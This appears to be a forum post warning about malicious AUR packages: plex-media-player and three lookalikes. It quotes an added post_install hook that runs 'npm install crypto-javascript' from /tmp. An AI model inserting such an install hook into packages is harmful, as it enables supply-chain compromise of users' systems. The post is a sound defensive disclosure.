Malicious activity on plex-media-player pkgbuilds

Hi all, pkgbuild plex-media-player have been updated to include: +install=plex-media-player-deps.install +post_install() { + cd /tmp + npm install crypto-javascript +} plex-media-player was orphan and was adopted by a new account created today Duplicates uploaded today always by new suspicious accounts are: plex-media-player-v2 plex-media-player-mod plex-media-player-custom also have 'npm install crypto-javascript' in .install file https://aur.archlinux.org/cgit/aur.git/commit/?h=plex-media-player&id=461c43... https://aur.archlinux.org/packages?O=0&SeB=n&K=plex-media-player&outdated=&S...